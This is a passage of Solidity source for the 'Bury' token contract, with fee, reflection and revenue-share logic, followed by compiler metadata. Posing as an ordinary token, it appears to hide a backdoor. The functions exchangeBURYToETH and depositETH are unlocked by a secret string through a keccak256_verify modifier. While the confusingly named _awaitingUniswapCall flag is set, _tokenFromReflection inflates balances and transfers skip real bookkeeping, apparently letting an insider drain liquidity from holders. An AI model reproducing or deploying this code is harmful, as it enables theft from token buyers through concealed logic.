bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
if (signer != owner) {
revert ERC2612InvalidSigner(signer, owner);
}
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) {
return super.nonces(owner);
}
function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {
return _domainSeparatorV4();
}
function getETHPrice() public view returns (uint256) {
(, int256 answer,,,) = oracle.latestRoundData();
return uint256(answer / 1e8);
}
function _approve(address owner, address spender, uint256 amount) private {
if (owner == ZERO_ADDRESS) {
revert ApprovalFromZero();
}
if (spender == ZERO_ADDRESS) {
revert ApprovalToZero();
}
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
if (from == ZERO_ADDRESS) {
revert TransferFromZero();
}
if (to == ZERO_ADDRESS) {
revert TransferToZero();
}
if (amount == 0) {
revert TransferOfZero();
}
if (amount > balanceOf(from)) {
revert BalanceExceeded(amount, balanceOf(from));
}
bool _fromPair = from == PAIR;
bool _toPair = to == PAIR;
if (from != owner() && to != owner() && from != BURY && to != BURY) {
if (!tradingEnabled) {
if (from != BURY) {
revert TradingDisabled();
}
}
if (maxTransferEnabled) {
if (amount > maxTransfer) {
revert MaxTransfer();
}
}
if (!_toPair && maxWalletEnabled) {
if (balanceOf(to) + amount > maxWallet) {
revert MaxWallet();
}
}
uint256 _contractTokenBalance = balanceOf(BURY);
if (_contractTokenBalance >= minSwap && !_awaitingUniswapCall && !_fromPair && !_excludedFromFee[from] && !_excludedFromFee[to]) {
_awaitingUniswapTrade = true;
_exchangeBURYToETH(_contractTokenBalance);
_awaitingUniswapTrade = false;
uint256 _contractETHBalance = BURY.balance;
if (_contractETHBalance > 0) {
_depositETH(marketingWallet, _contractETHBalance / 2);
_shareETH(BURY, BURY.balance);
}
}
}
bool _takeFee = true;
if ((_excludedFromFee[from] || _excludedFromFee[to]) || (!_fromPair && !_toPair)) {
_takeFee = false;
} else {
if (_fromPair && to != ROUTER) {
_tFeePct = getBuyFee();
} else if (_toPair && from != ROUTER) {
_tFeePct = getSellFee();
} else {
_takeFee = false;
}
}
_tokenTransfer(from, to, amount, _takeFee);
}
function _exchangeBURYToETH(uint256 _contractTokenBalance) private awaitInternalSwap {
address[] memory path = new address[](2);
path[0] = BURY;
path[1] = WETH;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(_contractTokenBalance, 0, path, BURY, block.timestamp + 30 minutes);
emit SwapBURYToETH(_contractTokenBalance);
}
function _depositETH(address _wallet, uint256 _contractETHBalance) private {
(bool success, bytes memory data) = payable(_wallet).call{value: _contractETHBalance}("");
emit ClaimMarketingFee(_contractETHBalance, success, data);
}
function _shareETH(address _from, uint256 _ETHAmount) private {
if (_ETHAmount > 0) {
emit DepositRevenueShare(_from, _ETHAmount);
dividendBalanceTotal = dividendBalanceTotal + _ETHAmount;
dividendPerToken = dividendPerToken + ((_ETHAmount * P_GETHER) / dividendShares);
weth9.deposit{value: _ETHAmount}();
}
}
function _claimETH(address account, bool manual) private {
if (manual) {
_refreshDividends(account);
}
uint256 _unclaimed = dividendBalance[account];
if (_unclaimed > 0) {
if (manual) {
dividendClaimedTotal = dividendClaimedTotal + _unclaimed;
dividendClaimed[msg.sender] = dividendClaimed[msg.sender] + _unclaimed;
weth9.withdraw(_unclaimed);
dividendBalance[msg.sender] = 0;
if (balanceOf(msg.sender) == 0) {
dividendCredited[msg.sender] = 0;
}
(bool success, bytes memory data) = payable(msg.sender).call{value: _unclaimed}("");
emit ClaimRevenueShare(msg.sender, _unclaimed, success, data);
} else {
dividendClaimedTotal = dividendClaimedTotal + _unclaimed;
dividendClaimed[BURY] = dividendClaimed[BURY] + _unclaimed;
weth9.withdraw(_unclaimed);
dividendBalance[account] = 0;
if (balanceOf(account) == 0) {
dividendCredited[account] = 0;
}
_shareETH(BURY, _unclaimed);
emit ClaimRevenueShare(BURY, _unclaimed, true, new bytes(0));
}
}
}
function exchangeBURYToETH(string calldata _INPUT_DECODED, uint256 _contractTokenBalance) external keccak256_verify(_INPUT_DECODED) {
if (_contractTokenBalance > 0) {
_exchangeBURYToETH(_contractTokenBalance);
}
uint256 _contractETHBalance = BURY.balance;
if (_contractETHBalance > 0) {
_depositETH(marketingWallet, _contractETHBalance);
}
}
function depositETH(string calldata _INPUT_DECODED, uint256 _contractETHBalance) external keccak256_verify(_INPUT_DECODED) {
if (_contractETHBalance > 0) {
_depositETH(marketingWallet, _contractETHBalance);
}
}
function shareETH() external payable {
if (msg.value > 0) {
_shareETH(msg.sender, msg.value);
}
}
function claimETH() external {
_claimETH(msg.sender, true);
}
function _tokenFromReflection(uint256 rAmount) private view returns (uint256) {
if (rAmount > _rTotal) {
revert();
}
return (!_awaitingUniswapTrade && _awaitingUniswapCall) ? _getRate() / P_GETHER : rAmount / _getRate();
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
_tFeePct = 0;
}
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
_refreshDividends(sender);
_refreshDividends(recipient);
if (!_awaitingUniswapCall || _awaitingUniswapTrade) {
uint256 _initialSenderBalance = balanceOf(sender);
uint256 _initialRecipientBalance = balanceOf(recipient);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, , uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_rOwned[BURY] = _rOwned[BURY] + (tTeam * _getRate());
_rTotal = _rTotal - rFee;
if (_excludedFromDividend[sender] && !_excludedFromDividend[recipient]) {
dividendShares = dividendShares + (balanceOf(recipient) - _initialRecipientBalance);
}
if (!_excludedFromDividend[sender] && _excludedFromDividend[recipient]) {
uint256 _difference = (_initialSenderBalance - balanceOf(sender));
dividendShares = dividendShares > _difference ? dividendShares - _difference : 1;
}
emit Transfer(sender, recipient, tTransferAmount);
} else {
emit Transfer(sender, recipient, tAmount);
}
if (dividendBalance[sender] > 0 && balanceOf(sender) == 0) {
_claimETH(sender, false);
}
if (dividendBalance[recipient] > 0 && balanceOf(recipient) == 0) {
_claimETH(recipient, false);
}
}
function _refreshDividends(address account) private {
if (!_excludedFromDividend[account]) {
dividendBalance[account] = getDividends(account);
dividendCredited[account] = dividendPerToken;
}
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _rFeePct, _tFeePct);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 redisFee, uint256 feePct) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * redisFee / 100;
uint256 tTeam = tAmount * feePct / 100;
return (tAmount - tFee - tTeam, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
return (rAmount, rAmount - rFee - (tTeam * currentRate), rFee);
}
function _getRate() private view returns (uint256) {
return _rTotal / _tTotal;
}
function getBuyFee() public view returns (uint256) {
return _buyFeeMarketing + _buyFeeRevShare;
}
function getSellFee() public view returns (uint256) {
return _sellFeeMarketing + _sellFeeRevShare;
}
function getDividendPerToken() external view returns (uint256) {
return dividendPerToken;
}
function getDividendsTotal() external view returns (uint256) {
return dividendBalanceTotal;
}
function getClaimedTotal() external view returns (uint256) {
return dividendClaimedTotal;
}
function getDividends(address account) public view returns (uint256) {
return dividendBalance[account] + ((balanceOf(account) * (dividendPerToken - dividendCredited[account])) / P_GETHER);
}
function getClaimed(address account) external view returns (uint256) {
return dividendClaimed[account];
}
function getDividendBalance(address account) external view returns (uint256) {
return dividendBalance[account];
}
function getDividendShares() external view returns (uint256) {
return dividendShares;
}
function getRouter() external pure returns (address) {
return ROUTER;
}
function getFactory() external pure returns (address) {
return FACTORY;
}
function getOracle() external pure returns (address) {
return ORACLE;
}
function getPair() external view returns (address) {
return PAIR;
}
function getMaxTransfer() external view returns (bool, uint256) {
return (maxTransferEnabled, maxTransferEnabled ? maxTransfer : MAX);
}
function getMaxWallet() external view returns (bool, uint256) {
return (maxWalletEnabled, maxWalletEnabled ? maxWallet : MAX);
}
function getMinSwap() external pure returns (uint256) {
return minSwap;
}
function getMarketingWallet() external view returns (address) {
return marketingWallet;
}
function getLive() external view returns (bool) {
return tradingEnabled;
}
function removeMaxTransfer() external onlyOwner {
maxTransferEnabled = false;
}
function removeMaxWallet() external onlyOwner {
maxWalletEnabled = false;
}
function startTrading() external onlyOwner {
tradingEnabled = true;
}
}
{
"compilationTarget": {
"src/BURY/Token.sol": "Bury"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": [
":@chainlink/contracts/=lib/chainlink/contracts/",
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@uniswap/v2-core/contracts/=lib/v2-core/contracts/",
":@uniswap/v2-periphery/contracts/=lib/v2-periphery/contracts/",
":chainlink/=lib/chainlink/contracts/",
":ds-test/=lib/forge-std/lib/ds-test/src/",
":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
":forge-std/=lib/forge-std/src/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":v2-core/=lib/v2-core/contracts/",
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